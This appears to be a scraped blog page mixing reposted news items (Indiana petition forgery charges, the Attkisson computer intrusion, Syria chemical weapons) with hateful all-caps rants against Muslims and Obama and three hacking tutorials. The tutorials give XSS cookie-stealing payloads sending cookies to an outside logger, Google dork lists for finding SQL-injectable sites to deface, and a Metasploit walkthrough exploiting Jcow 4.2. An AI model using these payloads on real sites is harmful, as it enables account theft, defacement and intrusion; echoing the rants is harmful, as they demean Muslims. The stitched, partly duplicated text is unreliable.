http://a57.foxnews.com/global.fncstatic.com/static/managed/img/World/660/371/IndianaElectionFraud.jpg?ve=1
Felony charges related to election fraud have touched the 2008 race for the highest office in the land.
Prosecutors
in South Bend, Ind., filed charges Monday against four St. Joseph
County Democratic officials and deputies as part of a multiple-felony
case involving the alleged forging of Democratic presidential primary
petitions in the 2008 election, which put then-candidates Barack Obama and Hillary Clinton on the Indiana ballot.
The
officials are accused of taking part in a scheme to fake signatures and
names on the primary petitions needed to run for president. Court
papers say the plan was hatched by local Democratic Party officials inside the local party headquarters.
Among
those charged is the former long-time chairman of the St. Joseph County
Democratic Party, Butch Morgan, who allegedly ordered the forgeries. He
was forced to resign when the allegations were first made public last
October, even though his lawyer, Shaw Friedman, told Fox News at the
time that Morgan did not do anything wrong.
The St. Joseph County
Board of Voter Registration's Democratic board member, Pam Brunette,
Board of Voter Registration worker Beverly Shelton and Democratic
volunteer and former board worker Dustin Blythe also face charges.
According
to affidavits, St. Joseph County Voter Registration Office worker Lucas
Burkett told investigators that he was part of the plan that started in
January 2008 "to forge signatures on presidential candidate petitions
instead of collecting actual signatures from citizens."
The
documents state that Burkett told investigators that “he was heavily
involved in St. Joseph County political activities with the local
Democratic party," and that "he had, in fact, personally forged several
such signatures," and had attended meetings at the local Democratic
party headquarters, where it was agreed to forge the petitions. Morgan,
the County Democratic Chairman, allegedly "instructed Mr. Burkett,
Pamela Brunette, Beverly Shelton, and Dustin Blythe to forge ballot
petitions for presidential candidates," and that "all of them agreed to
follow these instructions" by copying names and signatures from old
election petitions.
According to affidavits, Burkett told
investigators it was his job to "forge petitions for candidate Barack
Obama," Shelton "was assigned to forge petitions for candidate Hillary
Clinton" and Blythe "was assigned to forge petitions for candidate John Edwards."
When Edwards dropped out of the race at the end of January 2008 and
Burkett refused to continue the forgeries, Morgan allegedly ordered
Blythe to then forge petitions for Barack Obama.
Indiana State
Police investigators identified a total of 22 petitions that appeared to
be faked, yet sailed through the Voter Registration Board as legitimate
documents. The signature of the board's Republican supervisor, Linda
Silcott, which is required for legal certification, appeared to be
rubber stamped on the documents. She told investigators that she did not
remember signing or authorizing her rubber stamp to be used.
Silcott also told investigators that she recognized the handwriting on the alleged forged Obama petitions as that of Blythe's.
The
South Bend Tribune and independent political newsletter Howey Politics
Indiana have reported that a handwriting analyst concluded last fall
that Blythe's handwriting matched some of the alleged Obama fakes. When
Fox News caught up to Blythe as he left the Voter Registration Board
last November and asked him if he forged any signatures or faked any
petitions, he repeatedly replied, "I don't have anything to say."
The
case raises the possibility that the president's campaign and that of
Clinton’s, could have been legally challenged in Indiana if the alleged
forgeries were discovered during the race.
Under state law,
presidential candidates need to qualify with 500 signatures from each of
Indiana's nine congressional districts. Indiana elections officials say
that in St. Joseph County, which is the 2nd Congressional District, the
Obama campaign qualified with 534 signatures; Clinton's camp had 704.
But
the signatures, which were certified by the elections board, were never
challenged. If the number of legitimate signatures for Obama or Clinton
fell below the legal requirement of 500, they could have been bounced
from the state ballot. Reports have previously put the number of phony
signatures for both candidates at about 150, but state investigators
plucked names from the petitions at random and cited only 20 individual
alleged forgeries as part of their case. They say their investigation of
the petitions continues.
Multiple voters, including Indiana's
former Democratic Gov. Joe Kernan, told Fox News that their names and
signatures were phonies.
"That's not my signature," Charity Rorie
told Fox News as she sat in her kitchen in Mishawaka, Ind.. The mother
of four was stunned that her name and signature, and those of her
husband, appeared on one of the Obama petitions. She said they
"absolutely" were fakes and was troubled that personal details such as
their address and birthdays were also included.
"It was shocking," she said. "Why did they do that, and where did they get it from?"
"I
did not sign for Barack Obama," Democratic voter Robert Hunter told Fox
News as he stared at the Obama petition that included his name and
purported signature supporting the candidate. While he observed that the
scrawl looked "very close" to his real one, it was not.
"I always
put 'Junior' after my name, every time... there's no 'Junior' there,"
Hunter told us. "I don't like anybody using my name for anything other
than myself."
"It's scary," Charity said. "A lot of people have
already lost faith in politics and the realm of politics and that
solidifies our worries and concerns."
As for Burkett, a 26-year-old lifelong Democrat, "he is the whistle-blower in this," his lawyer, Andrew B. Jones, told Fox News.
"Lucas
really is the hero in this situation. He is someone who stood up for
good government, and has cooperated with the state police and will
continue to do so."
If you suspect voter or election fraud where you live, tell the Fox
Read more: http://www.foxnews.com/politics/2012/04/02/4-indiana-dems-charged-with-election-fraud-in-2008/#ixzz2WVTtaFKl
Copyright Disclaimer Under Section 107 of the Copyright Act 1976?Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use. Unless you are in this field of investigative journalism, especially covering extremely sensitive subjects and potentially dangerous subjects as well, you simply cannot understand the complexities and difficulties involved with this work that I face every day.
Monday, June 17, 2013
BOO FUCKING WHO YOU LIED AND COVERD UP FOR THE ISLAMIC TWERRORIST IN THE WHITE HOUSE FOR 5 YEARS NOW NOW YOU WANT TO BITCH TOO LATE YOU SOLD WE THE PEOPLE OUT FOR ISLAM ENJOY MY LIFE
CBS News Gets Taste Of Obama DOMINATUS Government…
(via HotAir)
CBS News: Someone was pulling data from Sharyl Attkisson’s computer
“A cyber security firm hired by CBS News has determined through forensic analysis that Sharyl Attkisson’s computer was accessed by an unauthorized, external, unknown party on multiple occasions late in 2012. Evidence suggests this party performed all access remotely using Attkisson’s accounts. While no malicious code was found, forensic analysis revealed an intruder had executed commands that appeared to involve search and exfiltration of data.CBS News is taking steps to identify the responsible party and their method of access.”
What was going on in “late 2012″? Well, that would have been the controversy over the terrorist attack on our consulate in Benghazi. And, checking the record, we see thatAttkisson had a very interesting scoop on October 20th, relying on anonymous military sources that called into question the Obama administration’s claim that they couldn’t have responded in time to assist in the attack. LINK
Read more in News
That last sentence is perhaps the most chilling. Intimidation of media is one thing – but it appears quite likely the real purpose of hacking into Attkinson’s computer was to obtain the identities of her military sources who were attempting to speak out against the Obama government. Take that information and add it to all of the careers cut short, and even worse, the lives cut short of those in the military associated with the Obama regime.
DOMINATUS is here. -UM
_________________________________
“DOMINATUS”
“Read Dominatus. Loved Dominatus. Great book with a great message about how quickly everything can fall apart and the globalists will step right in and put their boots on our throats. I would definitely call this one a “must read”!” -Donald Trumps
HURRY UP YOU DUMB ASS ISLAMIC FUCKS HURRY KILL EACH OTHER GET IT OVER AND DONE WITH
Syria and Russia slam US over weapons charge |
Claims that government forces used chemical weapons are "fabricated" and will escalate conflict, allies say.
Last Modified: 15 Jun 2013 09:41
|
|
|
|
Syria and Russia have slammed US allegations that
government forces used chemical weapons against opposition fighters in
the country's civil war. The commander of the main rebel umbrella group, meanwhile, welcomed the US move, saying that it would lift his fighters' morale. Their reactions follow Friday's announcement from the White House that alluded to military aid being sent from the US to Syria after Washington discovered that chemical weapons have been used in the war. "The White House has issued a statement full of lies about the use of chemical weapons in Syria, based on fabricated information," a statement issued on Friday by the Syrian Foreign Ministry said. "The United States is using cheap tactics to justify President Barack Obama's decision to arm the Syrian opposition," it said. Russia, a staunch ally of the Syrian government, also disputed the US charge on Friday. President Vladimir Putin's foreign affairs adviser, Yuri Ushakov, told reporters that the information provided by US officials to Russia "didn't look convincing". Asked if Russia could retaliate to the US move to supply weapons to the Syrian rebels by delivering the S-300 air defence missile systems to the regime, Ushakov said "there is no talk about it yet". "We aren't competing over Syria, we are trying to settle the issue in a constructive way," he said. On Friday, UN Secretary-General Ban Ki-moon said that "the validity of any information on the allege use of chemical weapons cannot be ensured without convincing evidence of the chain-of-custody", and said increasing the flow of arms to either side "would not be helpful". 'Chemical weapons used' The US decision and announcement come as Assad's forces have been scoring a series of victories, driving rebels out of a key town near the Lebanese border. They have also launched offensives in the central and northern parts of the country. Aleppo, the country's largest city, has been particularly targeted. However, no final decisions have been made on the type of weaponry or when it would reach the rebels, according to the officials, who spoke on condition of anonymity in order to discuss internal administration discussions with reporters.US officials said the administration could provide the rebel fighters with a range of weapons, including small arms, ammunition, assault rifles and a variety of anti-tank weaponry such as shoulder-fired rocket-propelled grenades and other missiles. In addition to the military aid, the US also announced on Thursday that it had conclusive evidence that Assad's regime had used chemical weapons, including the nerve agent sarin, on a small scale against opposition forces. The White House said multiple chemical attacks last year killed up to 150 people. Obama had earlier said that the use of chemical weapons cross a "red line", triggering greater US involvement in the crisis. 'Blood of Syrians' The Syrian opposition has said that representatives from the Free Syrian Army (FSA), an umbrella group of armed opposition fighters, are to begin meeting with foreign officials from Saturday to discuss what form military aid could take. "We hope to have the weapons and ammunition that we need in the near future," General Salim Idris, the commander of the FSA, said. "We encourage them to take a decision in this relation, by establishing a no-fly zone either all over Syria or areas they choose based on their technical or military considerations on the ground" to ensure safe areas for civilians, Loay Mikdad, an FSA spokesman, said. "We hope they start arming immediately. Any delay costs blood of Syrians. It is not water, it is blood of the Syrians, women and children and its future." Mikdad said the rebels have asked for shoulder propelled rockets, thermal anti-tank missiles, anti-aircrafts missiles, surface-to-surface missiles and armoured vehicles. The decision from the US came a day after the United Nations said nearly 93,000 people were confirmed dead in Syria's civil war, but the actual number is believed to be much higher. |
OUTRAGE! Michelle Obama’s Lavish Ireland Vacation With Her Own Personal Jet…

( “They don’t even care to pretend they care anymore.” )
_______________________________________
Michelle to Stay in $3,300-a-Night Dublin Hotel Suite
First Lady Michelle Obama is staying Monday evening in the $3,300-per-night Princess Grace suite of Dublin’s Five-Star Shelbourne Hotel, according to Irish press reports, adding some credence to accusations she is in the city for a quick vacation at taxpayer expense.Michelle jetted to Dublin Monday afternoon Irish time after a brief stop in Belfast with President Obama, who is in the city for the two-day G-8 Summit.
Read more in News
…According to press reports out of Ireland, 30 rooms have been booked in the hotel to accommodate Michelle and her entourage, which would presumably include various staff and a bevy of Secret Service agents. LINK
____________________________________
Monday, January 24, 2011
Cross Site Scripting (Using a hole to Hack with XSS)
- We find a blog which allows users user to input data.
- This data is displayed, unedited or sanitised on the blog index page.
- We want to inject a XSS to log the administrative users cookies.
- We want to login with the cookie we have stolen.
Note : This is for educational purpose for designers or for my readers to make there website safe.
What we shall need :
Heres a list of things you will need through-out the tutorial :
Mozilla Firefox (Use an old version not latest).
FF addon : Add & Edit Cookies.
FF addon : Live HTTP Headers.
An ACTIVE cookie logger.(Google it yourself i don't want to put it here and to break laws.)
A basic understanding of JavaScript is an advantage, but not essential.(Refer www.w3schools.com )
A XSS vulnerability to test and exploit. Refer to my Old post On XSS. Hosting is up to you, try this free PHP web host , 000webhost etc.
The desire and dedication to learn. [Yourself.]
Identifying & Exploiting the Vulnerability:
Identifying a XSS vulnerability can be pretty straight forward in most cases. A typical method of testing for a XSS vulnerability would be infamous 'Alert' test. Anyone with a basic knowledge of JavaScript will know what this is. This test will make an alert box, or message box, pop up on the screen. This is done by executing the JavaScript function Alert.<script>alert('hackersthirst.com')</script>This would display a message box with hackersthirst.com as the message.
To perform this test we want the page in question to print out the script, so the browser will execute it. So in this case using the included vulnerable test page, input the string <script>alert('hackersthirst.com')</script>. Now the page will execute this and you should get an alert box displaying the message 'hackersthirst.com'.
Another method of testing for vulnerability is the document.write method. The same concepts and structure is applied to this method as the alert method, we're just using the document.write function instead of the alert function. So this time we insert :
<script>document.write('hackersthirst.com')</script>This time the script will return the string 'hackersthirst.com', (without quotes), and will write it to the page, where the string is supposed to be shown.
Below i am giving a short description on how to exploit this.
Exploiting XSS hole :
After identifying the XSS hole what a hacker will do . Its demonstrated by given example :
(in this example we will be covering cookie stealing), we will go over setting up our logger and a few methods of doing so.
Example 1 :
Our cookie logger URL : http://site.com/cookielogger.php Vulnerable Page : http://someblog.com/index.php Injection Point : http://someblog.com/post.php
Now we have all this setup, we can crack on. You can use the following methods to log cookies using JavaScript :
<script>location.href='http://site.com/cookielogger.php?cookie='+cookie</script>
<script>document.location='http://site.com/cookielogger.php?cookie='+cookie</script>
<script>window.open('http://site.com/cookielogger.php?cookie='+cookie)</script>
<script>window.location='http://site.com/cookielogger.php?cookie='+cookie</script>
Once you have posted this to the blogging system, and it's echoed on the index.php, we just have to be patient and hope the administrator of the site visits it soon, so we can get their cookie.
Another method I want to go over is the <script src=> method. The only difference with this one is that the main script is kept off-site, and is fetched by the <script src> tag, and then executed on the page. This is advantageous in many ways. It can reduce the size of our script on the target site for one, and secondly it can be changed if we want to change the functionality of our XSS. This type of XSS is usually more practical for worms, and keyloggers, but is definitely worth knowing.
Example 2 :
Our cookie logger URL : http://site.com/cookielogger.php
Our script URL : http://site.com/script.js
Vulnerable Page : http://someblog.com/index.php
Injection Point : http://someblog.com/post.php
Here is how we include or foreign script :
<script src='http://site.com/script.js'></script>
Inside the script we just need the logger, use a function from Example 1. An example of our script would be :
location.href='http://site.com/cookielogger.php?cookie='+cookie;
Again, like anything, patience is a virtue.
Here the site is your own hosting site to host the cookielogger srcipt.
Possible Limitations and Basic Filter Evasion Techniques :
The filter I will show you is a filter which removes the '<script>' and '</script>' tags. While a very basic and common method of filtering, it is ridiculously easy to bypass.
Example 1 ~ Tag Removal :
I insert the JavaScript : '<script>alert('XSS')</script>',and it returns the string : alert('XSS').
Never fear, there is away around this. If I now insert this : '<scr<script>ipt>alert('XSS')</scr</script>ipt>'
Now the script will remove the tags, and echo what's left, which is : <script>alert('XSS')</script>.
There are other methods also. Use Google.
Well if your hosting site is too long then a smart tip is this that you use ip instead of URL.
What to do when you get cookies in txt. file in hosting :
These are the steps:
- Open FireFox.
- Click on Tools in the menu bar.
- Click on Cookie Editor.
- Click on Add.
5.In name, add the name of that cookie, (the bit before the =)
6.In content, add the value.
7. In host, add .site.com, unless its a sub domain or otherwise stated, (the dot infront of the domain name is important).
8.In path, write /, unless you have the exact path where you want the cookie to be active.
Repeat this procedure until every cookie has been added. Once this is done, you can navigate to the website and check to see if you have logged in. So, Thats a short guide on XSS.
Hacking class 14 - How to Deface Websites using SQL and Php scripting?
400
Google +225
103
Reddit98
92
Hello Guys , Sorry for the Delay in this Class... Reason is Quite Simple My Annual End Semester Exams were going on....So I cannot waste much time on PC...
But Now I am Back... Now I will write the Tutorials that are really Dangerous...
Note: I and Isoftdl.com is Not responsible for any Misuse of these Tutorials. These are Just for Educational Purposes...So Don't Misuse Them!
Now Our Todays Discussion is on " How to Deface Websites using the SQL injection and PHP shell code Scripting".. Today I will show you the 100% working method for Hacking Websites and then Defacing them...
FIRST OF ALL YOU SHOULD KNOW WHAT IS DEFACEMENT??
Defacing a website simply means that we replace the index.html file of a site by our file. Now all the Users that open it will see our Page(i.e being uploaded by us).
For Defacing a website, three things that you need Most are:
1. SQL Injection(For analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)
Now Lets Start the Tutorial:
First of all I would Like to say that I have took some part of SQL injection Tutorial from my previous posts and a site http://www.milw0rm.com/ .Most of the Part is written by me so if you have any doubts I will clear them....
1. Finding the Target and the Admin Password
First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google Searches can be awesomely utilized to find out vulnerable Websites.. Below is example of some queries..
Examples: Open the Google and copy paste these queries...
Here are some More Queries (use them without quotation marks)..
Now The Admin password Hacking procedure starts:
You can also refer to my previous post of hacking websites:
But Now I am Back... Now I will write the Tutorials that are really Dangerous...
Note: I and Isoftdl.com is Not responsible for any Misuse of these Tutorials. These are Just for Educational Purposes...So Don't Misuse Them!
Now Our Todays Discussion is on " How to Deface Websites using the SQL injection and PHP shell code Scripting".. Today I will show you the 100% working method for Hacking Websites and then Defacing them...
FIRST OF ALL YOU SHOULD KNOW WHAT IS DEFACEMENT??
Defacing a website simply means that we replace the index.html file of a site by our file. Now all the Users that open it will see our Page(i.e being uploaded by us).
For Defacing a website, three things that you need Most are:
1. SQL Injection(For analyzing website loops)
2. Admin Password
3. Shell Script (for getting Admin Controls)
Now Lets Start the Tutorial:
First of all I would Like to say that I have took some part of SQL injection Tutorial from my previous posts and a site http://www.milw0rm.com/ .Most of the Part is written by me so if you have any doubts I will clear them....
1. Finding the Target and the Admin Password
First of all we must find out our target website. I have collected a lot of dorks i.e the vulnerability points of the websites. Some Google Searches can be awesomely utilized to find out vulnerable Websites.. Below is example of some queries..
Examples: Open the Google and copy paste these queries...
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
Here are some More Queries (use them without quotation marks)..
"add.asp?bookid="
"add_cart.asp?num="
"addcart.asp?"
"addItem.asp"
"add-to-cart.asp?ID="
"addToCart.asp?idProduct="
"addtomylist.asp?ProdId="
"adminEditProductFields.asp?intProdID="
"advSearch_h.asp?idCategory="
"affiliate.asp?ID="
"affiliate-agreement.cfm?storeid="
"affiliates.asp?id="
"ancillary.asp?ID="
"archive.asp?id="
"article.asp?id="
"aspx?PageID"
"basket.asp?id="
"Book.asp?bookID="
"book_list.asp?bookid="
"book_view.asp?bookid="
"BookDetails.asp?ID="
"browse.asp?catid="
"browse_item_details.asp"
"Browse_Item_Details.asp?Store_Id="
"buy.asp?"
"buy.asp?bookid="
"bycategory.asp?id="
"cardinfo.asp?card="
"cart.asp?action="
"cart.asp?cart_id="
"cart.asp?id="
"cart_additem.asp?id="
"cart_validate.asp?id="
"cartadd.asp?id="
"cat.asp?iCat="
"catalog.asp"
"catalog.asp?CatalogID="
"catalog_item.asp?ID="
"catalog_main.asp?catid="
"category.asp"
"category.asp?catid="
"category_list.asp?id="
"categorydisplay.asp?catid="
"checkout.asp?cartid="
"checkout.asp?UserID="
"checkout_confirmed.asp?order_id="
"checkout1.asp?cartid="
"comersus_listCategoriesAndProducts.asp?idCategory ="
"comersus_optEmailToFriendForm.asp?idProduct="
"comersus_optReviewReadExec.asp?idProduct="
"comersus_viewItem.asp?idProduct="
"comments_form.asp?ID="
"contact.asp?cartId="
"content.asp?id="
"customerService.asp?TextID1="
"default.asp?catID="
"description.asp?bookid="
"details.asp?BookID="
"details.asp?Press_Release_ID="
"details.asp?Product_ID="
"details.asp?Service_ID="
"display_item.asp?id="
"displayproducts.asp"
"downloadTrial.asp?intProdID="
"emailproduct.asp?itemid="
"emailToFriend.asp?idProduct="
"events.asp?ID="
"faq.asp?cartID="
"faq_list.asp?id="
"faqs.asp?id="
"feedback.asp?title="
"freedownload.asp?bookid="
"fullDisplay.asp?item="
"getbook.asp?bookid="
"GetItems.asp?itemid="
"giftDetail.asp?id="
"help.asp?CartId="
"home.asp?id="
"index.asp?cart="
"index.asp?cartID="
"index.asp?ID="
"info.asp?ID="
"item.asp?eid="
"item.asp?item_id="
"item.asp?itemid="
"item.asp?model="
"item.asp?prodtype="
"item.asp?shopcd="
"item_details.asp?catid="
"item_list.asp?maingroup"
"item_show.asp?code_no="
"itemDesc.asp?CartId="
"itemdetail.asp?item="
"itemdetails.asp?catalogid="
"learnmore.asp?cartID="
"links.asp?catid="
"list.asp?bookid="
"List.asp?CatID="
"listcategoriesandproducts.asp?idCategory="
"modline.asp?id="
"myaccount.asp?catid="
"news.asp?id="
"order.asp?BookID="
"order.asp?id="
"order.asp?item_ID="
"OrderForm.asp?Cart="
"page.asp?PartID="
"payment.asp?CartID="
"pdetail.asp?item_id="
"powersearch.asp?CartId="
"price.asp"
"privacy.asp?cartID="
"prodbycat.asp?intCatalogID="
"prodetails.asp?prodid="
"prodlist.asp?catid="
"product.asp?bookID="
"product.asp?intProdID="
"product_info.asp?item_id="
"productDetails.asp?idProduct="
"productDisplay.asp"
"productinfo.asp?item="
"productlist.asp?ViewType=Category&CategoryID= "
"productpage.asp"
"products.asp?ID="
"products.asp?keyword="
"products_category.asp?CategoryID="
"products_detail.asp?CategoryID="
"productsByCategory.asp?intCatalogID="
"prodView.asp?idProduct="
"promo.asp?id="
"promotion.asp?catid="
"pview.asp?Item="
"resellers.asp?idCategory="
"results.asp?cat="
"savecart.asp?CartId="
"search.asp?CartID="
"searchcat.asp?search_id="
"Select_Item.asp?id="
"Services.asp?ID="
"shippinginfo.asp?CartId="
"shop.asp?a="
"shop.asp?action="
"shop.asp?bookid="
"shop.asp?cartID="
"shop_details.asp?prodid="
"shopaddtocart.asp"
"shopaddtocart.asp?catalogid="
"shopbasket.asp?bookid="
"shopbycategory.asp?catid="
"shopcart.asp?title="
"shopcreatorder.asp"
"shopcurrency.asp?cid="
"shopdc.asp?bookid="
"shopdisplaycategories.asp"
"shopdisplayproduct.asp?catalogid="
"shopdisplayproducts.asp"
"shopexd.asp"
"shopexd.asp?catalogid="
"shopping_basket.asp?cartID="
"shopprojectlogin.asp"
"shopquery.asp?catalogid="
"shopremoveitem.asp?cartid="
"shopreviewadd.asp?id="
"shopreviewlist.asp?id="
"ShopSearch.asp?CategoryID="
"shoptellafriend.asp?id="
"shopthanks.asp"
"shopwelcome.asp?title="
"show_item.asp?id="
"show_item_details.asp?item_id="
"showbook.asp?bookid="
"showStore.asp?catID="
"shprodde.asp?SKU="
"specials.asp?id="
"store.asp?id="
"store_bycat.asp?id="
"store_listing.asp?id="
"Store_ViewProducts.asp?Cat="
"store-details.asp?id="
"storefront.asp?id="
"storefronts.asp?title="
"storeitem.asp?item="
"StoreRedirect.asp?ID="
"subcategories.asp?id="
"tek9.asp?"
"template.asp?Action=Item&pid="
"topic.asp?ID="
"tuangou.asp?bookid="
"type.asp?iType="
"updatebasket.asp?bookid="
"updates.asp?ID="
"view.asp?cid="
"view_cart.asp?title="
"view_detail.asp?ID="
"viewcart.asp?CartId="
"viewCart.asp?userID="
"viewCat_h.asp?idCategory="
"viewevent.asp?EventID="
"viewitem.asp?recor="
"viewPrd.asp?idcategory="
"ViewProduct.asp?misc="
"voteList.asp?item_ID="
"whatsnew.asp?idCategory="
"WsAncillary.asp?ID
You can also refer to my previous post of hacking websites:
Hacking websites : How to hack websites By using SQL Injection
Read more: http://www.hackingloops.com/2009/12/hacking-class-14-how-to-deface-websites.html#ixzz2WVDUFQyw
4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution
Bookmark
Posted by v4L in Hacking Tutorial | 18 comments
Type : Tutorial
Level : Medium
Victim Server : Windows XP SP3
Victim vulnerable application : JCow 4.2
Attacker O.S : Backtrack 5 R1
After very long times I didn't write about hacking webserver, today
"again" when surfing around I've found that Jcow Social netwoking engine
can be exploited and the exploit ranking marked as "excellent".
So actually what happen when you have this Jcow vulnerable version??The
simple thing is the attacker can go through your web server directory
and doing everything there. For example if you hosting your Jcow
vulnerable version(on unsecure hosting also :-) ) you can own your web
server directory.
In this example, let's say I have a Jcow
vulnerable web server in IP address 192.168.8.94. Actually it's better
to try installing your own web server, but if you want to find out Jcow
in the wild you can search through Google dork "intext:Powered by Jcow
4.2.0" and register as normal user there. In this tutorial I have
already register as username : victim and password also victim :-)
Okay I hope you understand what I say above :-P to make it more realistic, let's try the tutorial…
Requirement :
1. Metasploit framework
2. Jcow.rb exploit
mediafire.com
Step by Step :
1. Copy the downloaded jcow.rb exploit from the download link above and copy it into /pentest/exploits/framework/ modules/exploits/remote/ folder(see the command below).
cp jcow.rb /pentest/exploits/framework/ modules/exploits/remote/
the text "framework" with blue color it's because I'm using Backtrack 5
R1 and using metasploit v4.0.1, so the name was depends on your
Metasploit version, maybe on your computer it can be "framework3" or
"framework2" so on..
If you didn't know how to copy that
jcow.rb file into your Backtrack, please refer to this tutorial about
Linux folder sharing(click here).
2. Open your Metasploit console and then use the exploit you just added before.
msf > use exploit/remote/jcow
3. The next step we need to view the available switch for this exploit
by running show options command, and then configured it(see the box with
red color).
Hacking Jcow Social Networking via Arbitrary Code Execution (PoC)
msf exploit(jcow) > set rhost 192.168.8.94 --> set the target IP
rhost => 192.168.8.94
msf exploit(jcow) > set username victim --> set the username
username => victim
msf exploit(jcow) > set password victim --> set the password
password => victim
msf exploit(jcow) > set uri jcow --> only if jcow not in / directory fill it here
uri => jcow
Information :
Set uri can be used if jcow was not installed on webserver main directory, for example http://web-server.com/jcow.
4. After everything was set up successfully, the next thing to do was
exploiting or running the exploit by using exploit command.
Hacking Jcow Social Networking via Arbitrary Code Execution (PoC)
PWNED! :-)
Countermeasures :
1. Update your Jcow Social Networking into > v4.2
Hope you enjoyed…any question?just drop it below
- See more at: http:// www.hacking-tutorial.com/ hacking-tutorial/ 4-steps-hacking-jcow-social-net working-web-server-via-arbitra ry-code-execution/ #sthash.iTJp4t9a.dpuf
Subscribe to:
Posts (Atom)

